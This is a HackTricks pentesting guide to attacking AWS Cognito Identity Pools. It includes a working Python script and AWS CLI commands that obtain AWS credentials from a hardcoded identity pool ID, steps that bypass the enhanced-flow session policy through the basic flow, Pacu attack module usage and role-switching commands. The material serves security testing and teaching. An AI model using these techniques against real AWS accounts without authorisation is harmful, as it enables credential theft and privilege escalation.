Skip to content

Latest commit

 

History

History
225 lines (153 loc) · 11.4 KB

File metadata and controls

225 lines (153 loc) · 11.4 KB

Cognito Identity Pools

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Basic Information

Identity pools serve a crucial role by enabling your users to acquire temporary credentials. These credentials are essential for accessing various AWS services, including but not limited to Amazon S3 and DynamoDB. A notable feature of identity pools is their support for both anonymous guest users and a range of identity providers for user authentication. The supported identity providers include:

  • Amazon Cognito user pools
  • Social sign-in options such as Facebook, Google, Login with Amazon, and Sign in with Apple
  • Providers compliant with OpenID Connect (OIDC)
  • SAML (Security Assertion Markup Language) identity providers
  • Developer authenticated identities
# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3

# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')

# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'

# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
    IdentityPoolId=identity_pool_id,
    Roles={
        'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
        'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
    }
)

# Print the response from AWS
print(response)

Cognito Sync

To generate Identity Pool sessions, you first need to generate and Identity ID. This Identity ID is the identification of the session of that user. These identifications can have up to 20 datasets that can store up to 1MB of key-value pairs.

This is useful to keep information of a user (who will be always using the same Identity ID).

Moreover, the service cognito-sync is the service that allow to manage and syncronize this information (in the datasets, sending info in streams and SNSs msgs...).

Tools for pentesting

  • Pacu, the AWS exploitation framework, now includes the "cognito__enum" and "cognito__attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc.

For a description of the modules' functions see part 2 of the blog post. For installation instructions see the main Pacu page.

Usage

Sample cognito__attack usage to attempt user creation and all privesc vectors against a given identity pool and user pool client:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools 
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Sample cognito__enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner is a CLI tool in python that implements different attacks on Cognito including unwanted account creation and identity pool escalation.

Installation

$ pip install cognito-scanner

Usage

$ cognito-scanner --help

For more information check https://github.com/padok-team/cognito-scanner

Accessing IAM Roles

Unauthenticated

The only thing an attacker need to know to get AWS credentials in a Cognito app as unauthenticated user is the Identity Pool ID, and this ID must be hardcoded in the web/mobile application for it to use it. An ID looks like this: eu-west-1:098e5341-8364-038d-16de-1865e435da3b (it's not bruteforceable).

{% hint style="success" %} The IAM Cognito unathenticated role created via is called by default Cognito_<Identity Pool name>Unauth_Role {% endhint %}

If you find an Identity Pools ID hardcoded and it allows unauthenticated users, you can get AWS credentials with:

import requests

region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}

r = requests.post(url, json=params, headers=headers)
json_resp = r.json()

if not "IdentityId" in json_resp:
    print(f"Not valid id: {id_pool_id}")
    exit

IdentityId = r.json()["IdentityId"]

params = {'IdentityId': IdentityId}

headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)

print(r.json())

Or you could use the following aws cli commands:

aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign

{% hint style="warning" %} Note that by default an unauthenticated cognito user CANNOT have any permission, even if it was assigned via a policy. Check the followin section. {% endhint %}

Enhanced vs Basic Authentication flow

The previous section followed the default enhanced authentication flow. This flow sets a restrictive session policy to the IAM role session generated. This policy will only allow the session to use the services from this list (even if the role had access to other services).

However, there is a way to bypass this, if the Identity pool has "Basic (Classic) Flow" enabled, the user will be able to obtain a session using that flow which won't have that restrictive session policy.

{% code overflow="wrap" %}

# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign

# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign

# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign

{% endcode %}

{% hint style="warning" %} If you receive this error, it's because the basic flow is not enabled (default)

An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow. {% endhint %}

Having a set of IAM credentials you should check which access you have and try to escalate privileges.

Authenticated

{% hint style="info" %} Remember that authenticated users will be probably granted different permissions, so if you can sign up inside the app, try doing that and get the new credentials. {% endhint %}

There could also be roles available for authenticated users accessing the Identity Pool.

For this you might need to have access to the identity provider. If that is a Cognito User Pool, maybe you can abuse the default behaviour and create a new user yourself.

{% hint style="success" %} The IAM Cognito athenticated role created via is called by default Cognito_<Identity Pool name>Auth_Role {% endhint %}

Anyway, the following example expects that you have already logged in inside a Cognito User Pool used to access the Identity Pool (don't forget that other types of identity providers could also be configured).

aws cognito-identity get-id \
    --identity-pool-id <identity_pool_id> \
    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from the previous commnad response
aws cognito-identity get-credentials-for-identity \
    --identity-id <identity_id> \
    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>


# In the IdToken you can find roles a user has access because of User Pool Groups
# User the --custom-role-arn to get credentials to a specific role
aws cognito-identity get-credentials-for-identity \
    --identity-id <identity_id> \
    --custom-role-arn <role_arn> \
    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

{% hint style="warning" %} It's possible to configure different IAM roles depending on the identity provider the user is being logged in or even just depending on the user (using claims). Therefore, if you have access to different users through the same or different providers, if might be worth it to login and access the IAM roles of all of them. {% endhint %}

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}